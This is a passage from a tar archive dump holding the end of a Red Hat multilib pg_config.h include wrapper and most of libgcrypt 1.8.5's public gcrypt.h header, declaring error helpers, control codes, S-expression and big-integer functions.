RPM. * * To avoid breaking arches not explicitly supported by Red Hat, we * use this indirection file *only* on known multilib arches. * * We pay attention to include _only_ the original multilib-unclean * header file. Including any other system-header file could cause * unpredictable include-ordering issues (rhbz#1412274, comment #16). * * Note: this may well fail if user tries to use gcc's -I- option. * But that option is deprecated anyway. */ #if defined(__x86_64__) #include "pg_config-x86_64.h" #elif defined(__i386__) #include "pg_config-i386.h" #elif defined(__ppc64__) || defined(__powerpc64__) #include "pg_config-ppc64.h" #elif defined(__ppc__) || defined(__powerpc__) #include "pg_config-ppc.h" #elif defined(__s390x__) #include "pg_config-s390x.h" #elif defined(__s390__) #include "pg_config-s390.h" #elif defined(__sparc__) && defined(__arch64__) #include "pg_config-sparc64.h" #elif defined(__sparc__) #include "pg_config-sparc.h" #endif gcrypt.h 0000644 00000211331 15246445046 0006240 0 ustar 00 /* gcrypt.h - GNU Cryptographic Library Interface -*- c -*- * Copyright (C) 1998-2017 Free Software Foundation, Inc. * Copyright (C) 2012-2017 g10 Code GmbH * * This file is part of Libgcrypt. * * Libgcrypt is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * Libgcrypt is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, see <http://www.gnu.org/licenses/>. * * File: src/gcrypt.h. Generated from gcrypt.h.in by configure. */ #ifndef _GCRYPT_H #define _GCRYPT_H #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <gpg-error.h> #include <sys/types.h> #if defined _WIN32 || defined __WIN32__ # include <winsock2.h> # include <ws2tcpip.h> # include <time.h> # ifndef __GNUC__ typedef long ssize_t; typedef int pid_t; # endif /*!__GNUC__*/ #else # include <sys/socket.h> # include <sys/time.h> # include <sys/select.h> #endif /*!_WIN32*/ typedef socklen_t gcry_socklen_t; /* This is required for error code compatibility. */ #define _GCRY_ERR_SOURCE_DEFAULT GPG_ERR_SOURCE_GCRYPT #ifdef __cplusplus extern "C" { #if 0 /* (Keep Emacsens' auto-indent happy.) */ } #endif #endif /* The version of this header should match the one of the library. It should not be used by a program because gcry_check_version() should return the same version. The purpose of this macro is to let autoconf (using the AM_PATH_GCRYPT macro) check that this header matches the installed library. */ #define GCRYPT_VERSION "1.8.5" /* The version number of this header. It may be used to handle minor API incompatibilities. */ #define GCRYPT_VERSION_NUMBER 0x010805 /* Internal: We can't use the convenience macros for the multi precision integer functions when building this library. */ #ifdef _GCRYPT_IN_LIBGCRYPT #ifndef GCRYPT_NO_MPI_MACROS #define GCRYPT_NO_MPI_MACROS 1 #endif #endif /* We want to use gcc attributes when possible. Warning: Don't use these macros in your programs: As indicated by the leading underscore they are subject to change without notice. */ #ifdef __GNUC__ #define _GCRY_GCC_VERSION (__GNUC__ * 10000 \ + __GNUC_MINOR__ * 100 \ + __GNUC_PATCHLEVEL__) #if _GCRY_GCC_VERSION >= 30100 #define _GCRY_GCC_ATTR_DEPRECATED __attribute__ ((__deprecated__)) #endif #if _GCRY_GCC_VERSION >= 29600 #define _GCRY_GCC_ATTR_PURE __attribute__ ((__pure__)) #endif #if _GCRY_GCC_VERSION >= 30200 #define _GCRY_GCC_ATTR_MALLOC __attribute__ ((__malloc__)) #endif #define _GCRY_GCC_ATTR_PRINTF(f,a) __attribute__ ((format (printf,f,a))) #if _GCRY_GCC_VERSION >= 40000 #define _GCRY_GCC_ATTR_SENTINEL(a) __attribute__ ((sentinel(a))) #endif #endif /*__GNUC__*/ #ifndef _GCRY_GCC_ATTR_DEPRECATED #define _GCRY_GCC_ATTR_DEPRECATED #endif #ifndef _GCRY_GCC_ATTR_PURE #define _GCRY_GCC_ATTR_PURE #endif #ifndef _GCRY_GCC_ATTR_MALLOC #define _GCRY_GCC_ATTR_MALLOC #endif #ifndef _GCRY_GCC_ATTR_PRINTF #define _GCRY_GCC_ATTR_PRINTF(f,a) #endif #ifndef _GCRY_GCC_ATTR_SENTINEL #define _GCRY_GCC_ATTR_SENTINEL(a) #endif /* Make up an attribute to mark functions and types as deprecated but allow internal use by Libgcrypt. */ #ifdef _GCRYPT_IN_LIBGCRYPT #define _GCRY_ATTR_INTERNAL #else #define _GCRY_ATTR_INTERNAL _GCRY_GCC_ATTR_DEPRECATED #endif /* Wrappers for the libgpg-error library. */ typedef gpg_error_t gcry_error_t; typedef gpg_err_code_t gcry_err_code_t; typedef gpg_err_source_t gcry_err_source_t; static GPG_ERR_INLINE gcry_error_t gcry_err_make (gcry_err_source_t source, gcry_err_code_t code) { return gpg_err_make (source, code); } /* The user can define GPG_ERR_SOURCE_DEFAULT before including this file to specify a default source for gpg_error. */ #ifndef GCRY_ERR_SOURCE_DEFAULT #define GCRY_ERR_SOURCE_DEFAULT GPG_ERR_SOURCE_USER_1 #endif static GPG_ERR_INLINE gcry_error_t gcry_error (gcry_err_code_t code) { return gcry_err_make (GCRY_ERR_SOURCE_DEFAULT, code); } static GPG_ERR_INLINE gcry_err_code_t gcry_err_code (gcry_error_t err) { return gpg_err_code (err); } static GPG_ERR_INLINE gcry_err_source_t gcry_err_source (gcry_error_t err) { return gpg_err_source (err); } /* Return a pointer to a string containing a description of the error code in the error value ERR. */ const char *gcry_strerror (gcry_error_t err); /* Return a pointer to a string containing a description of the error source in the error value ERR. */ const char *gcry_strsource (gcry_error_t err); /* Retrieve the error code for the system error ERR. This returns GPG_ERR_UNKNOWN_ERRNO if the system error is not mapped (report this). */ gcry_err_code_t gcry_err_code_from_errno (int err); /* Retrieve the system error for the error code CODE. This returns 0 if CODE is not a system error code. */ int gcry_err_code_to_errno (gcry_err_code_t code); /* Return an error value with the error source SOURCE and the system error ERR. */ gcry_error_t gcry_err_make_from_errno (gcry_err_source_t source, int err); /* Return an error value with the system error ERR. */ gcry_error_t gcry_error_from_errno (int err); /* NOTE: Since Libgcrypt 1.6 the thread callbacks are not anymore used. However we keep it to allow for some source code compatibility if used in the standard way. */ /* Constants defining the thread model to use. Used with the OPTION field of the struct gcry_thread_cbs. */ #define GCRY_THREAD_OPTION_DEFAULT 0 #define GCRY_THREAD_OPTION_USER 1 #define GCRY_THREAD_OPTION_PTH 2 #define GCRY_THREAD_OPTION_PTHREAD 3 /* The version number encoded in the OPTION field of the struct gcry_thread_cbs. */ #define GCRY_THREAD_OPTION_VERSION 1 /* Wrapper for struct ath_ops. */ struct gcry_thread_cbs { /* The OPTION field encodes the thread model and the version number of this structure. Bits 7 - 0 are used for the thread model Bits 15 - 8 are used for the version number. */ unsigned int option; } _GCRY_ATTR_INTERNAL; #define GCRY_THREAD_OPTION_PTH_IMPL \ static struct gcry_thread_cbs gcry_threads_pth = { \ (GCRY_THREAD_OPTION_PTH | (GCRY_THREAD_OPTION_VERSION << 8))} #define GCRY_THREAD_OPTION_PTHREAD_IMPL \ static struct gcry_thread_cbs gcry_threads_pthread = { \ (GCRY_THREAD_OPTION_PTHREAD | (GCRY_THREAD_OPTION_VERSION << 8))} /* A generic context object as used by some functions. */ struct gcry_context; typedef struct gcry_context *gcry_ctx_t; /* The data objects used to hold multi precision integers. */ struct gcry_mpi; typedef struct gcry_mpi *gcry_mpi_t; struct gcry_mpi_point; typedef struct gcry_mpi_point *gcry_mpi_point_t; #ifndef GCRYPT_NO_DEPRECATED typedef struct gcry_mpi *GCRY_MPI _GCRY_GCC_ATTR_DEPRECATED; typedef struct gcry_mpi *GcryMPI _GCRY_GCC_ATTR_DEPRECATED; #endif /* A structure used for scatter gather hashing. */ typedef struct { size_t size; /* The allocated size of the buffer or 0. */ size_t off; /* Offset into the buffer. */ size_t len; /* The used length of the buffer. */ void *data; /* The buffer. */ } gcry_buffer_t; /* Check that the library fulfills the version requirement. */ const char *gcry_check_version (const char *req_version); /* Codes for function dispatchers. */ /* Codes used with the gcry_control function. */ enum gcry_ctl_cmds { /* Note: 1 .. 2 are not anymore used. */ GCRYCTL_CFB_SYNC = 3, GCRYCTL_RESET = 4, /* e.g. for MDs */ GCRYCTL_FINALIZE = 5, GCRYCTL_GET_KEYLEN = 6, GCRYCTL_GET_BLKLEN = 7, GCRYCTL_TEST_ALGO = 8, GCRYCTL_IS_SECURE = 9, GCRYCTL_GET_ASNOID = 10, GCRYCTL_ENABLE_ALGO = 11, GCRYCTL_DISABLE_ALGO = 12, GCRYCTL_DUMP_RANDOM_STATS = 13, GCRYCTL_DUMP_SECMEM_STATS = 14, GCRYCTL_GET_ALGO_NPKEY = 15, GCRYCTL_GET_ALGO_NSKEY = 16, GCRYCTL_GET_ALGO_NSIGN = 17, GCRYCTL_GET_ALGO_NENCR = 18, GCRYCTL_SET_VERBOSITY = 19, GCRYCTL_SET_DEBUG_FLAGS = 20, GCRYCTL_CLEAR_DEBUG_FLAGS = 21, GCRYCTL_USE_SECURE_RNDPOOL= 22, GCRYCTL_DUMP_MEMORY_STATS = 23, GCRYCTL_INIT_SECMEM = 24, GCRYCTL_TERM_SECMEM = 25, GCRYCTL_DISABLE_SECMEM_WARN = 27, GCRYCTL_SUSPEND_SECMEM_WARN = 28, GCRYCTL_RESUME_SECMEM_WARN = 29, GCRYCTL_DROP_PRIVS = 30, GCRYCTL_ENABLE_M_GUARD = 31, GCRYCTL_START_DUMP = 32, GCRYCTL_STOP_DUMP = 33, GCRYCTL_GET_ALGO_USAGE = 34, GCRYCTL_IS_ALGO_ENABLED = 35, GCRYCTL_DISABLE_INTERNAL_LOCKING = 36, GCRYCTL_DISABLE_SECMEM = 37, GCRYCTL_INITIALIZATION_FINISHED = 38, GCRYCTL_INITIALIZATION_FINISHED_P = 39, GCRYCTL_ANY_INITIALIZATION_P = 40, GCRYCTL_SET_CBC_CTS = 41, GCRYCTL_SET_CBC_MAC = 42, /* Note: 43 is not anymore used. */ GCRYCTL_ENABLE_QUICK_RANDOM = 44, GCRYCTL_SET_RANDOM_SEED_FILE = 45, GCRYCTL_UPDATE_RANDOM_SEED_FILE = 46, GCRYCTL_SET_THREAD_CBS = 47, GCRYCTL_FAST_POLL = 48, GCRYCTL_SET_RANDOM_DAEMON_SOCKET = 49, GCRYCTL_USE_RANDOM_DAEMON = 50, GCRYCTL_FAKED_RANDOM_P = 51, GCRYCTL_SET_RNDEGD_SOCKET = 52, GCRYCTL_PRINT_CONFIG = 53, GCRYCTL_OPERATIONAL_P = 54, GCRYCTL_FIPS_MODE_P = 55, GCRYCTL_FORCE_FIPS_MODE = 56, GCRYCTL_SELFTEST = 57, /* Note: 58 .. 62 are used internally. */ GCRYCTL_DISABLE_HWF = 63, GCRYCTL_SET_ENFORCED_FIPS_FLAG = 64, GCRYCTL_SET_PREFERRED_RNG_TYPE = 65, GCRYCTL_GET_CURRENT_RNG_TYPE = 66, GCRYCTL_DISABLE_LOCKED_SECMEM = 67, GCRYCTL_DISABLE_PRIV_DROP = 68, GCRYCTL_SET_CCM_LENGTHS = 69, GCRYCTL_CLOSE_RANDOM_DEVICE = 70, GCRYCTL_INACTIVATE_FIPS_FLAG = 71, GCRYCTL_REACTIVATE_FIPS_FLAG = 72, GCRYCTL_SET_SBOX = 73, GCRYCTL_DRBG_REINIT = 74, GCRYCTL_SET_TAGLEN = 75, GCRYCTL_GET_TAGLEN = 76, GCRYCTL_REINIT_SYSCALL_CLAMP = 77 }; /* Perform various operations defined by CMD. */ gcry_error_t gcry_control (enum gcry_ctl_cmds CMD, ...); /* S-expression management. */ /* The object to represent an S-expression as used with the public key functions. */ struct gcry_sexp; typedef struct gcry_sexp *gcry_sexp_t; #ifndef GCRYPT_NO_DEPRECATED typedef struct gcry_sexp *GCRY_SEXP _GCRY_GCC_ATTR_DEPRECATED; typedef struct gcry_sexp *GcrySexp _GCRY_GCC_ATTR_DEPRECATED; #endif /* The possible values for the S-expression format. */ enum gcry_sexp_format { GCRYSEXP_FMT_DEFAULT = 0, GCRYSEXP_FMT_CANON = 1, GCRYSEXP_FMT_BASE64 = 2, GCRYSEXP_FMT_ADVANCED = 3 }; /* Create an new S-expression object from BUFFER of size LENGTH and return it in RETSEXP. With AUTODETECT set to 0 the data in BUFFER is expected to be in canonized format. */ gcry_error_t gcry_sexp_new (gcry_sexp_t *retsexp, const void *buffer, size_t length, int autodetect); /* Same as gcry_sexp_new but allows to pass a FREEFNC which has the effect to transfer ownership of BUFFER to the created object. */ gcry_error_t gcry_sexp_create (gcry_sexp_t *retsexp, void *buffer, size_t length, int autodetect, void (*freefnc) (void *)); /* Scan BUFFER and return a new S-expression object in RETSEXP. This function expects a printf like string in BUFFER. */ gcry_error_t gcry_sexp_sscan (gcry_sexp_t *retsexp, size_t *erroff, const char *buffer, size_t length); /* Same as gcry_sexp_sscan but expects a string in FORMAT and can thus only be used for certain encodings. */ gcry_error_t gcry_sexp_build (gcry_sexp_t *retsexp, size_t *erroff, const char *format, ...); /* Like gcry_sexp_build, but uses an array instead of variable function arguments. */ gcry_error_t gcry_sexp_build_array (gcry_sexp_t *retsexp, size_t *erroff, const char *format, void **arg_list); /* Release the S-expression object SEXP */ void gcry_sexp_release (gcry_sexp_t sexp); /* Calculate the length of an canonized S-expression in BUFFER and check for a valid encoding. */ size_t gcry_sexp_canon_len (const unsigned char *buffer, size_t length, size_t *erroff, gcry_error_t *errcode); /* Copies the S-expression object SEXP into BUFFER using the format specified in MODE. */ size_t gcry_sexp_sprint (gcry_sexp_t sexp, int mode, void *buffer, size_t maxlength); /* Dumps the S-expression object A in a format suitable for debugging to Libgcrypt's logging stream. */ void gcry_sexp_dump (const gcry_sexp_t a); gcry_sexp_t gcry_sexp_cons (const gcry_sexp_t a, const gcry_sexp_t b); gcry_sexp_t gcry_sexp_alist (const gcry_sexp_t *array); gcry_sexp_t gcry_sexp_vlist (const gcry_sexp_t a, ...); gcry_sexp_t gcry_sexp_append (const gcry_sexp_t a, const gcry_sexp_t n); gcry_sexp_t gcry_sexp_prepend (const gcry_sexp_t a, const gcry_sexp_t n); /* Scan the S-expression for a sublist with a type (the car of the list) matching the string TOKEN. If TOKLEN is not 0, the token is assumed to be raw memory of this length. The function returns a newly allocated S-expression consisting of the found sublist or `NULL' when not found. */ gcry_sexp_t gcry_sexp_find_token (gcry_sexp_t list, const char *tok, size_t toklen); /* Return the length of the LIST. For a valid S-expression this should be at least 1. */ int gcry_sexp_length (const gcry_sexp_t list); /* Create and return a new S-expression from the element with index NUMBER in LIST. Note that the first element has the index 0. If there is no such element, `NULL' is returned. */ gcry_sexp_t gcry_sexp_nth (const gcry_sexp_t list, int number); /* Create and return a new S-expression from the first element in LIST; this called the "type" and should always exist and be a string. `NULL' is returned in case of a problem. */ gcry_sexp_t gcry_sexp_car (const gcry_sexp_t list); /* Create and return a new list form all elements except for the first one. Note, that this function may return an invalid S-expression because it is not guaranteed, that the type exists and is a string. However, for parsing a complex S-expression it might be useful for intermediate lists. Returns `NULL' on error. */ gcry_sexp_t gcry_sexp_cdr (const gcry_sexp_t list); gcry_sexp_t gcry_sexp_cadr (const gcry_sexp_t list); /* This function is used to get data from a LIST. A pointer to the actual data with index NUMBER is returned and the length of this data will be stored to DATALEN. If there is no data at the given index or the index represents another list, `NULL' is returned. *Note:* The returned pointer is valid as long as LIST is not modified or released. */ const char *gcry_sexp_nth_data (const gcry_sexp_t list, int number, size_t *datalen); /* This function is used to get data from a LIST. A malloced buffer to the data with index NUMBER is returned and the length of this data will be stored to RLENGTH. If there is no data at the given index or the index represents another list, `NULL' is returned. */ void *gcry_sexp_nth_buffer (const gcry_sexp_t list, int number, size_t *rlength); /* This function is used to get and convert data from a LIST. The data is assumed to be a Nul terminated string. The caller must release the returned value using `gcry_free'. If there is no data at the given index, the index represents a list or the value can't be converted to a string, `NULL' is returned. */ char *gcry_sexp_nth_string (gcry_sexp_t list, int number); /* This function is used to get and convert data from a LIST. This data is assumed to be an MPI stored in the format described by MPIFMT and returned as a standard Libgcrypt MPI. The caller must release this returned value using `gcry_mpi_release'. If there is no data at the given index, the index represents a list or the value can't be converted to an MPI, `NULL' is returned. */ gcry_mpi_t gcry_sexp_nth_mpi (gcry_sexp_t list, int number, int mpifmt); /* Extract MPIs from an s-expression using a list of parameters. The * names of these parameters are given by the string LIST. Some * special characters may be given to control the conversion: * * + :: Switch to unsigned integer format (default). * - :: Switch to standard signed format. * / :: Switch to opaque format. * & :: Switch to buffer descriptor mode - see below. * ? :: The previous parameter is optional. * * In general parameter names are single letters. To use a string for * a parameter name, enclose the name in single quotes. * * Unless in gcry_buffer_t mode for each parameter name a pointer to * an MPI variable is expected that must be set to NULL prior to * invoking this function, and finally a NULL is expected. Example: * * _gcry_sexp_extract_param (key, NULL, "n/x+ed", * &mpi_n, &mpi_x, &mpi_e, NULL) * * This stores the parameter "N" from KEY as an unsigned MPI into * MPI_N, the parameter "X" as an opaque MPI into MPI_X, and the * parameter "E" again as an unsigned MPI into MPI_E. * * If in buffer descriptor mode a pointer to gcry_buffer_t descriptor * is expected instead of a pointer to an MPI. The caller may use two * different operation modes: If the DATA field of the provided buffer * descriptor is NULL, the function allocates a new buffer and stores * it at DATA; the other fields are set accordingly with OFF being 0. * If DATA is not NULL, the function assumes that DATA, SIZE, and OFF * describe a buffer where to but the data; on return the LEN field * receives the number of bytes copied to that buffer; if the buffer * is too small, the function immediately returns with an error code * (and LEN set to 0). * * PATH is an optional string used to locate a token. The exclamation * mark separated tokens are used to via gcry_sexp_find_token to find * a start point inside SEXP. * * The function returns 0 on success. On error an error code is * returned, all passed MPIs that might have been allocated up to this * point are deallocated and set to NULL, and all passed buffers are * either truncated if the caller supplied the buffer, or deallocated * if the function allocated the buffer. */ gpg_error_t gcry_sexp_extract_param (gcry_sexp_t sexp, const char *path, const char *list, ...) _GCRY_GCC_ATTR_SENTINEL(0); /******************************************* * * * Multi Precision Integer Functions * * * *******************************************/ /* Different formats of external big integer representation. */ enum gcry_mpi_format { GCRYMPI_FMT_NONE= 0, GCRYMPI_FMT_STD = 1, /* Twos complement stored without length. */ GCRYMPI_FMT_PGP = 2, /* As used by OpenPGP (unsigned only). */ GCRYMPI_FMT_SSH = 3, /* As used by SSH (like STD but with length). */ GCRYMPI_FMT_HEX = 4, /* Hex format. */ GCRYMPI_FMT_USG = 5, /* Like STD but unsigned. */ GCRYMPI_FMT_OPAQUE = 8 /* Opaque format (some functions only). */ }; /* Flags used for creating big integers. */ enum gcry_mpi_flag { GCRYMPI_FLAG_SECURE = 1, /* Allocate the number in "secure" memory. */ GCRYMPI_FLAG_OPAQUE = 2, /* The number is not a real one but just a way to store some bytes. This is useful for encrypted big integers. */ GCRYMPI_FLAG_IMMUTABLE = 4, /* Mark the MPI as immutable. */ GCRYMPI_FLAG_CONST = 8, /* Mark the MPI as a constant. */ GCRYMPI_FLAG_USER1 = 0x0100,/* User flag 1. */ GCRYMPI_FLAG_USER2 = 0x0200,/* User flag 2. */ GCRYMPI_FLAG_USER3 = 0x0400,/* User flag 3. */ GCRYMPI_FLAG_USER4 = 0x0800 /* User flag 4. */ }; /* Macros to return pre-defined MPI constants. */ #define GCRYMPI_CONST_ONE (_gcry_mpi_get_const (1)) #define GCRYMPI_CONST_TWO (_gcry_mpi_get_const (2)) #define GCRYMPI_CONST_THREE (_gcry_mpi_get_const (3)) #define GCRYMPI_CONST_FOUR (_gcry_mpi_get_const (4)) #define GCRYMPI_CONST_EIGHT (_gcry_mpi_get_const (8)) /* Allocate a new big integer object, initialize it with 0 and initially allocate memory for a number of at least NBITS. */ gcry_mpi_t gcry_mpi_new (unsigned int nbits); /* Same as gcry_mpi_new() but allocate in "secure" memory. */ gcry_mpi_t gcry_mpi_snew (unsigned int nbits); /* Release the number A and free all associated resources. */ void gcry_mpi_release (gcry_mpi_t a); /* Create a new number with the same value as A. */ gcry_mpi_t gcry_mpi_copy (const gcry_mpi_t a); /* Store the big integer value U in W and release U. */ void gcry_mpi_snatch (gcry_mpi_t w, gcry_mpi_t u); /* Store the big integer value U in W. */ gcry_mpi_t gcry_mpi_set (gcry_mpi_t w, const gcry_mpi_t u); /* Store the unsigned integer value U in W. */ gcry_mpi_t gcry_mpi_set_ui (gcry_mpi_t w, unsigned long u); /* Swap the values of A and B. */ void gcry_mpi_swap (gcry_mpi_t a, gcry_mpi_t b); /* Return 1 if A is negative; 0 if zero or positive. */ int gcry_mpi_is_neg (gcry_mpi_t a); /* W = - U */ void gcry_mpi_neg (gcry_mpi_t w, gcry_mpi_t u); /* W = [W] */ void gcry_mpi_abs (gcry_mpi_t w); /* Compare the big integer number U and V returning 0 for equality, a positive value for U > V and a negative for U < V. */ int gcry_mpi_cmp (const gcry_mpi_t u, const gcry_mpi_t v); /* Compare the big integer number U with the unsigned integer V returning 0 for equality, a positive value for U > V and a negative for U < V. */ int gcry_mpi_cmp_ui (const gcry_mpi_t u, unsigned long v); /* Convert the external representation of an integer stored in BUFFER with a length of BUFLEN into a newly create MPI returned in RET_MPI. If NSCANNED is not NULL, it will receive the number of bytes actually scanned after a successful operation. */ gcry_error_t gcry_mpi_scan (gcry_mpi_t *ret_mpi, enum gcry_mpi_format format, const void *buffer, size_t buflen, size_t *nscanned); /* Convert the big integer A into the external representation described by FORMAT and store it in the provided BUFFER which has been allocated by the user with a size of BUFLEN bytes. NWRITTEN receives the actual length of the external representation unless it has been passed as NULL. */ gcry_error_t gcry_mpi_print (enum gcry_mpi_format format, unsigned char *buffer, size_t buflen, size_t *nwritten, const gcry_mpi_t a); /* Convert the big integer A into the external representation described by FORMAT and store it in a newly allocated buffer which address will be put into BUFFER. NWRITTEN receives the actual lengths of the external representation. */ gcry_error_t gcry_mpi_aprint (enum gcry_mpi_format format, unsigned char **buffer, size_t *nwritten, const gcry_mpi_t a); /* Dump the value of A in a format suitable for debugging to Libgcrypt's logging stream. Note that one leading space but no trailing space or linefeed will be printed. It is okay to pass NULL for A. */ void gcry_mpi_dump (const gcry_mpi_t a); /* W = U + V. */ void gcry_mpi_add (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v); /* W = U + V. V is an unsigned integer. */ void gcry_mpi_add_ui (gcry_mpi_t w, gcry_mpi_t u, unsigned long v); /* W = U + V mod M. */ void gcry_mpi_addm (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v, gcry_mpi_t m); /* W = U - V. */ void gcry_mpi_sub (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v); /* W = U - V. V is an unsigned integer. */ void gcry_mpi_sub_ui (gcry_mpi_t w, gcry_mpi_t u, unsigned long v ); /* W = U - V mod M */ void gcry_mpi_subm (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v, gcry_mpi_t m); /* W = U * V. */ void gcry_mpi_mul (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v); /* W = U * V. V is an unsigned integer. */ void gcry_mpi_mul_ui (gcry_mpi_t w, gcry_mpi_t u, unsigned long v ); /* W = U * V mod M. */ void gcry_mpi_mulm (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v, gcry_mpi_t m); /* W = U * (2 ^ CNT). */ void gcry_mpi_mul_2exp (gcry_mpi_t w, gcry_mpi_t u, unsigned long cnt); /* Q = DIVIDEND / DIVISOR, R = DIVIDEND % DIVISOR, Q or R may be passed as NULL. ROUND should be negative or 0. */ void gcry_mpi_div (gcry_mpi_t q, gcry_mpi_t r, gcry_mpi_t dividend, gcry_mpi_t divisor, int round); /* R = DIVIDEND % DIVISOR */ void gcry_mpi_mod (gcry_mpi_t r, gcry_mpi_t dividend, gcry_mpi_t divisor); /* W = B ^ E mod M. */ void gcry_mpi_powm (gcry_mpi_t w, const gcry_mpi_t b, const gcry_mpi_t e, const gcry_mpi_t m); /* Set G to the greatest common divisor of A and B. Return true if the G is 1. */ int gcry_mpi_gcd (gcry_mpi_t g, gcry_mpi_t a, gcry_mpi_t b); /* Set X to the multiplicative inverse of A mod M. Return true if the value exists. */ int gcry_mpi_invm (gcry_mpi_t x, gcry_mpi_t a, gcry_mpi_t m); /* Create a new point object. NBITS is usually 0. */ gcry_mpi_point_t gcry_mpi_point_new (unsigned int nbits); /* Release the object POINT. POINT may be NULL. */ void gcry_mpi_point_release (gcry_mpi_point_t point); /* Return a copy of POINT. */ gcry_mpi_point_t gcry_mpi_point_copy (gcry_mpi_point_t point); /* Store the projective coordinates from POINT into X, Y, and Z. */ void gcry_mpi_point_get (gcry_mpi_t x, gcry_mpi_t y, gcry_mpi_t z, gcry_mpi_point_t point); /* Store the projective coordinates from POINT into X, Y, and Z and release POINT. */ void gcry_mpi_point_snatch_get (gcry_mpi_t x, gcry_mpi_t y, gcry_mpi_t z, gcry_mpi_point_t point); /* Store the projective coordinates X, Y, and Z into POINT. */ gcry_mpi_point_t gcry_mpi_point_set (gcry_mpi_point_t point, gcry_mpi_t x, gcry_mpi_t y, gcry_mpi_t z); /* Store the projective coordinates X, Y, and Z into POINT and release X, Y, and Z. */ gcry_mpi_point_t gcry_mpi_point_snatch_set (gcry_mpi_point_t point, gcry_mpi_t x, gcry_mpi_t y, gcry_mpi_t z); /* Allocate a new context for elliptic curve operations based on the parameters given by KEYPARAM or using CURVENAME. */ gpg_error_t gcry_mpi_ec_new (gcry_ctx_t *r_ctx, gcry_sexp_t keyparam, const char *curvename); /* Get a named MPI from an elliptic curve context. */ gcry_mpi_t gcry_mpi_ec_get_mpi (const char *name, gcry_ctx_t ctx, int copy); /* Get a named point from an elliptic curve context. */ gcry_mpi_point_t gcry_mpi_ec_get_point (const char *name, gcry_ctx_t ctx, int copy); /* Store a named MPI into an elliptic curve context. */ gpg_error_t gcry_mpi_ec_set_mpi (const char *name, gcry_mpi_t newvalue, gcry_ctx_t ctx); /* Store a named point into an elliptic curve context. */ gpg_error_t gcry_mpi_ec_set_point (const char *name, gcry_mpi_point_t newvalue, gcry_ctx_t ctx); /* Decode and store VALUE into RESULT. */ gpg_error_t gcry_mpi_ec_decode_point (gcry_mpi_point_t result, gcry_mpi_t value, gcry_ctx_t ctx); /* Store the affine coordinates of POINT into X and Y. */ int gcry_mpi_ec_get_affine (gcry_mpi_t x, gcry_mpi_t y, gcry_mpi_point_t point, gcry_ctx_t ctx); /* W = 2 * U. */ void gcry_mpi_ec_dup (gcry_mpi_point_t w, gcry_mpi_point_t u, gcry_ctx_t ctx); /* W = U + V. */ void gcry_mpi_ec_add (gcry_mpi_point_t w, gcry_mpi_point_t u, gcry_mpi_point_t v, gcry_ctx_t ctx); /* W = U - V. */ void gcry_mpi_ec_sub (gcry_mpi_point_t w, gcry_mpi_point_t u, gcry_mpi_point_t v, gcry_ctx_t ctx); /* W = N * U. */ void gcry_mpi_ec_mul (gcry_mpi_point_t w, gcry_mpi_t n, gcry_mpi_point_t u, gcry_ctx_t ctx); /* Return true if POINT is on the curve described by CTX. */ int gcry_mpi_ec_curve_point (gcry_mpi_point_t w, gcry_ctx_t ctx); /* Return the number of bits required to represent A. */ unsigned int gcry_mpi_get_nbits (gcry_mpi_t a); /* Return true when bit number N (counting from 0) is set in A. */ int gcry_mpi_test_bit (gcry_mpi_t a, unsigned int n); /* Set bit number N in A. */ void gcry_mpi_set_bit (gcry_mpi_t a, unsigned int n); /* Clear bit number N in A. */ void gcry_mpi_clear_bit (gcry_mpi_t a, unsigned int n); /* Set bit number N in A and clear all bits greater than N. */ void gcry_mpi_set_highbit (gcry_mpi_t a, unsigned int n); /* Clear bit number N in A and all bits greater than N. */ void gcry_mpi_clear_highbit (gcry_mpi_t a, unsigned int n); /* Shift the value of A by N bits to the right and store the result in X. */ void gcry_mpi_rshift (gcry_mpi_t x, gcry_mpi_t a, unsigned int n); /* Shift the value of A by N bits to the left and store the result in X. */ void gcry_mpi_lshift (gcry_mpi_t x, gcry_mpi_t a, unsigned int n); /* Store NBITS of the value P points to in A and mark A as an opaque value. On success A received the the ownership of the value P. WARNING: Never use an opaque MPI for anything thing else than gcry_mpi_release, gcry_mpi_get_opaque. */ gcry_mpi_t gcry_mpi_set_opaque (gcry_mpi_t a, void *p, unsigned int nbits); /* Store NBITS of the value P points to in A and mark A as an opaque value. The function takes a copy of the provided value P. WARNING: Never use an opaque MPI for anything thing else than gcry_mpi_release, gcry_mpi_get_opaque. */ gcry_mpi_t gcry_mpi_set_opaque_copy (gcry_mpi_t a, const void *p, unsigned int nbits); /* Return a pointer to an opaque value stored in A and return its size in NBITS. Note that the returned pointer is still owned by A and that the function should never be used for an non-opaque MPI. */ void *gcry_mpi_get_opaque (gcry_mpi_t a, unsigned int *nbits); /* Set the FLAG for the big integer A. Currently only the flag GCRYMPI_FLAG_SECURE is allowed to convert A into an big intger stored in "secure" memory. */ void gcry_mpi_set_flag (gcry_mpi_t a, enum gcry_mpi_flag flag); /* Clear FLAG for the big integer A. Note that this function is currently useless as no flags are allowed. */ void gcry_mpi_clear_flag (gcry_mpi_t a, enum gcry_mpi_flag flag); /* Return true if the FLAG is set for A. */ int gcry_mpi_get_flag (gcry_mpi_t a, enum gcry_mpi_flag flag); /* Private function - do not use. */ gcry_mpi_t _gcry_mpi_get_const (int no); /* Unless the GCRYPT_NO_MPI_MACROS is used, provide a couple of convenience macros for the big integer functions. */ #ifndef GCRYPT_NO_MPI_MACROS #define mpi_new(n) gcry_mpi_new( (n) ) #define mpi_secure_new( n ) gcry_mpi_snew( (n) ) #define mpi_release(a) \ do \ { \ gcry_mpi_release ((a)); \ (a) = NULL; \ } \ while (0) #define mpi_copy( a ) gcry_mpi_copy( (a) ) #define mpi_snatch( w, u) gcry_mpi_snatch( (w), (u) ) #define mpi_set( w, u) gcry_mpi_set( (w), (u) ) #define mpi_set_ui( w, u) gcry_mpi_set_ui( (w), (u) ) #define mpi_abs( w ) gcry_mpi_abs( (w) 